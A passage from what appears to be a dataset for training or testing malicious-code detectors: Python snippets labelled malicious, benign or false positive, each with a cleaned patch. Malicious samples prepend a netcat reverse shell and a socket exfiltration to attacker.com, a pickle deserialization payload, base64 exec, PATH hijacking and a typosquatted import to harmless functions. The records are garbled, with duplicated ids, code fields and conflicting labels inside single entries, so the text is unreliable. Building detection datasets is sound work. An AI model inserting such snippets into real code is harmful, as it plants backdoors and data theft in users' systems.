'/':\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None", "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "tp_ada1c69c", "type": "true_positive", "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "id": "fp_d9dcf68e", "type": "false_positive", "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "patch": null, "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", "label": "benign", "source": "mutation_engine", "attack_type": "subprocess_backdoor", "task_id": "hard_patch" "attack_type": null }, { "id": "tp_cdb1c48c", "id": "tp_5a062473", "type": "true_positive", "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config", "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config", "unit_test_code": "import code\nassert True # module loaded successfully\n", "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", "unit_test_code": "import code\nassert code.factorial(5) == 120\n", "label": "malicious", "source": "mutation_engine", "attack_type": "env_hijack", "task_id": "hard_patch" "attack_type": "malicious_import" }, { "id": "fn_77f631d9", "id": "fn_16406770", "type": "functional", "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n-i-1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr", "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "tp_be97a621", "type": "true_positive", "code_snippet": "import pythonn\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())", "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())", "id": "fn_beec918d", "type": "functional", "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord('a') if char.islower() else ord('A')\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "label": "benign", "source": "mutation_engine", "attack_type": "typosquatting", "task_id": "easy_typosquat" "attack_type": null }, { "id": "fn_e8b40344", "type": "functional", "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "id": "fp_fd8e8f9c", "type": "false_positive", "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "tp_d1c4b434", "type": "true_positive", "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "id": "fp_9dbbf54f", "type": "false_positive", "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "label": "benign", "source": "mutation_engine", "attack_type": "eval_hidden", "task_id": "medium_obfuscated" "attack_type": null }, { "id": "tp_3a6f9eaf", "type": "true_positive", "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", "id": "fp_0740c495", "type": "false_positive", "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "label": "benign", "source": "mutation_engine", "attack_type": "env_hijack", "task_id": "hard_patch" "attack_type": null }, { "id": "fn_2136eb73", "type": "functional", "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a", "id": "fp_dc1362e1", "type": "false_positive", "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "patch": null, "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "fp_bf4a2db9", "id": "fp_5902adae", "type": "false_positive", "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts", "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == '+':\n return a + b\n elif op == '-':\n return a - b\n elif op == '*':\n return a * b\n elif op == '/':\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "fp_2243ce32", "type": "false_positive", "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]", "id": "fn_bbbe2715", "type": "functional", "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "fp_cb65dba1", "id": "fp_aa64127a", "type": "false_positive", "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]", "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", "patch": null, "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "fp_946cc12e", "id": "fp_a18f1d55", "type": "false_positive", "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "tp_05e46997", "id": "tp_0a39ab72", "type": "true_positive", "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n-i-1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr", "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n-i-1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "malicious_import", "task_id": "easy_typosquat" "attack_type": "eval_hidden" }, { "id": "tp_cc0fd9c8", "id": "tp_ca4bbdde", "type": "true_positive", "code_snippet": "import pythonn\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", "unit_test_code": "import code\nassert code.factorial(5) == 120\n", "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]", "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]", "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", "label": "malicious", "source": "mutation_engine", "attack_type": "typosquatting", "task_id": "easy_typosquat" "attack_type": "subprocess_backdoor" }, { "id": "fn_b39f320b", "type": "functional", "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "patch": null, "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", "label": "benign", "id": "tp_bf8d1bfe", "type": "true_positive", "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": "pickle_deserialization" }, { "id": "tp_45e0779b", "id": "tp_2222e46b", "type": "true_positive", "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config", "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config", "unit_test_code": "import code\nassert True # module loaded successfully\n", "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", "label": "malicious", "source": "mutation_engine", "attack_type": "socket_exfil", "task_id": "hard_patch" "attack_type": "pickle_deserialization" }, { "id": "fp_6c702e00", "id": "fp_207e4e1e", "type": "false_positive", "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]", "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a", "patch": null, "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "fp_04a1e362", "type": "false_positive", "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", "id": "fn_12f6fff8", "type": "functional", "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "tp_c3cf1556", "id": "tp_0cc30e49", "type": "true_positive", "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True", "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True", "unit_test_code": "import code\nassert code.is_prime(7) == True\n", "label": "malicious", "source": "mutation_engine", "attack_type": "obfuscated_exec", "task_id": "medium_obfuscated" "attack_type": "obfuscated_exec" }, { "id": "tp_53a1eb81", "id": "tp_b05e7338", "type": "true_positive", "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "obfuscated_exec", "task_id": "medium_obfuscated" "attack_type": "obfuscated_exec" }, { "id": "tp_3407bf42", "type": "true_positive", "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", "id": "fp_ab0871e5", "type": "false_positive", "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "label": "benign", "source": "mutation_engine", "attack_type": "subprocess_backdoor", "task_id": "hard_patch" "attack_type": null }, { "id": "fp_c984661d", "type": "false_positive", "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", "id": "fn_5856494d", "type": "functional", "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "fp_39c58320", "type": "false_positive", "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord('a') if char.islower() else ord('A')\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result", "patch": null, "id": "tp_7def19e9", "type": "true_positive", "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "label": "malicious", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": "env_hijack" }, { "id": "tp_252ce24f", "type": "true_positive", "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "pickle_deserialization" }, { "id": "tp_3ee58253", "type": "true_positive", "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "env_hijack" }, { "id": "tp_46c9f13b", "id": "tp_d0021d28", "type": "true_positive", "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]", "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]", "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "malicious_import", "task_id": "easy_typosquat" "attack_type": "eval_hidden" }, { "id": "fn_0e12256a", "id": "fn_25b4b8c5", "type": "functional", "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result", "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "fn_89aa7065", "id": "fn_7f6af612", "type": "functional", "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result", "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "fp_e0d9d045", "type": "false_positive", "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return 